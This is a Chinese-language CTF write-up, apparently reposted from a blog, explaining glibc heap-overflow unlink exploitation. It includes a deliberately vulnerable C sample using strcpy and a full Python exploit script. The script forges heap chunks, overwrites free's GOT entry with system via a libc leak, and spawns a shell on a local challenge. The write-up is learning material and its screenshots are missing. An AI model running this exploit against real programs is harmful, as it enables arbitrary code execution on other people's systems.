CTF之堆溢出-unlink原理探究

来源:互联网 发布:扫码抵扣软件 编辑:程序博客网 时间:2024/06/06 18:06

来干!来干!
转战堆溢出,这东东确实接触的很少,听说很神奇很细腻。我也是初次接触就和大家一起共同学习下,也填补下这方面的空白。

https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/

这篇文章讲的就是堆溢出的原理,不过全是英文,估计。。。慢慢看,不急。我就结合着它给的示例程序来分析下原理,以及如何利用堆溢出。如有不妥之处,还望及时批评指正!

/*  Heap overflow vulnerable program.  */#include <stdlib.h>#include <string.h>int main( int argc, char * argv[] ){        char * first, * second;/*[1]*/ first = malloc( 666 );/*[2]*/ second = malloc( 12 );        if(argc!=1)/*[3]*/         strcpy( first, argv[1] );/*[4]*/ free( first );/*[5]*/ free( second );/*[6]*/ return( 0 );}

这就是存在堆溢出的程序了,很明显好不啦。

堆确实很难。整了好久没整出来。多亏了在师傅的帮助下,终于把unlink给整明白了。(为了记录下学习的过程,前面的内容我就不删了)

先来推荐几篇文章,主要是看一下原理,虽然我知道即使看懂了,但是利用它时还是一脸懵比。

http://www.freebuf.com/news/88660.html

http://www.freebuf.com/vuls/98404.html

这是一道很经典的unlink,希望从此叩开堆溢出的大门(需要程序的在下方留个言)
由于调试堆的题目需要注意很多细节,而这些细节对于一个有栈经验的选手来说应该不难懂,所以我就不会说的太明白。我主要是分析一下unlink那块代码。
按着我的习惯,先检查一下。
这里写图片描述
和堆有关的保护我也不清楚 ,我就不班门弄斧了。
试运行一下程序。这种结构很明显是个堆题。
这里写图片描述
IDA反汇编。
这里写图片描述
这里和大家说一个IDA使用的小技巧,遇到堆题先逆向,将一些函数按他的功能rename一下,这样调理会清楚点,而且我们要知道每个选项具体都做了什么,堆题的利用往往会涉及到很多知识点。改完之后另存为i64文件,这样下次再调试的时候,就会方便很多。上面是我已经rename之后的了。
我们知道要想unlink就必须让堆进行合并,那么我们就需要精心的构造堆块,说这道题经典因为这题没有在溢出这些方面做手脚,基本上堆块我们可以随意的构造溢出。
首先new三次。我们可以看看linux是如何管理堆的。
这里写图片描述
这是第一次malloc的结果。
再来看看第二次malloc,我们同样是malloc0xa0字节
这里写图片描述
这里写图片描述
了解完malloc之后,再来了解一下free。我在这里edit第一个块使其溢出,再释放第二个块。
可以看到修改后的第二块如下。
这里写图片描述
我们需要进到free函数里面看看,找到unlink部分。
这里写图片描述
就是这段代码,关键的unlink操作。首先他会进行一些判断,看是否需要进行unlink,这就是为什么我们需要对堆进行构造了。
test byte ptr [rbx+8], 1 用于判断flag是否为1。
其中几个关键的cmp是构造时需要 注意的。

mov     [rax+18h], rdxmov     [rdx+10h], rax

还有这两句关键的mov是任意地址写的关键。这一段代码一定要自己好好地调试一下,对照着原理。这里我就不写了。
当我们将堆指针覆盖之后(这里直接这么恐怕有的人会很糊涂,不过我真的很难去解释,先把疑问留着,等会就知道干什么了)
这里写图片描述
再执行edit。
这里写图片描述
这时候my_read就会往我所修改的位置写入
这里写图片描述
我就是要往堆指针进行写入,这样我就可以控制每个堆块的flag,size以及对应的堆指针了。
在调用一次list,将free的libc地址泄露,求偏移算得system_addr.。在接下来就是edit,将system_addr写入到free_got.plt。以便在下次调用free时执行。
最后不知道怎么回事。就是拿不到shell。好像是system的地址错了,但是我已经泄露了free的地址了,根据偏移应该可以得到system的地址了。希望大神能纠正下我的错误。
最后还是贴上exp:

from zio import*target=('127.0.0.1',10000)io=zio(target,timeout=10000,print_read=COLORED(RAW,'red'),print_write=COLORED(RAW,'green'))c2=raw_input('go?')#newio.read_until('>')io.writeline('2')io.read_until(':')io.writeline('160')io.read_until(':')io.writeline('a'*0xa0)#newio.read_until('>')io.writeline('2')io.read_until(':')io.writeline('160')io.read_until(':')io.writeline('b'*0xa0)#newpayload='/bin/sh\x00'+'c'*0x98io.read_until('>')io.writeline('2')io.read_until(':')io.writeline('160')io.read_until(':')io.writeline(payload)#editpayload=l64(0x00)+l64(0x00)+l64(0x06016d0)+l64(0x06016d8)+'a'*0x80+l64(0xa0)+l64(0xb0)#payload='a'*0xa0io.read_until('>')io.writeline('3')io.read_until(':')io.writeline('1')io.read_until(':')io.writeline('176')io.read_until(':')io.writeline(payload)#deleteio.read_until('>')io.writeline('4')io.read_until(':')io.writeline('2')#editfree_got = 0x0000000000601600payload=l64(free_got)+l64(0x1)+l64(0xa0)+l64(free_got)+l64(0x1)io.read_until('>')io.writeline('3')io.read_until(':')io.writeline('1')io.read_until(':')io.writeline('40')io.read_until(':')io.writeline(payload)#list_free_addr#free_addr = list_sc(io)io.read_until('>')io.writeline('1')io.read_until('SHELLC0DE 0: ')free_addr=l64(io.read(16).decode('hex'))print hex(free_addr)#edit_systemlibc_base = free_addr - 0x0000000000082DF0system_addr = libc_base + 0x0000000000046640#system_addr=free_addr+0x271D0print hex(libc_base)print hex(system_addr)payload=l64(system_addr)io.read_until('>')io.writeline('3')io.read_until(':')io.writeline('1')io.read_until(':')io.writeline('8')io.read_until(':')io.writeline(payload)#get shellio.read_until('>')io.writeline('4')io.read_until(':')io.writeline('2')io.interact()

好吧!一语惊醒梦中人,cfree和free原来不是一个函数,最后求得的libc_base错了。本地调试改正后拿到shell。
这里写图片描述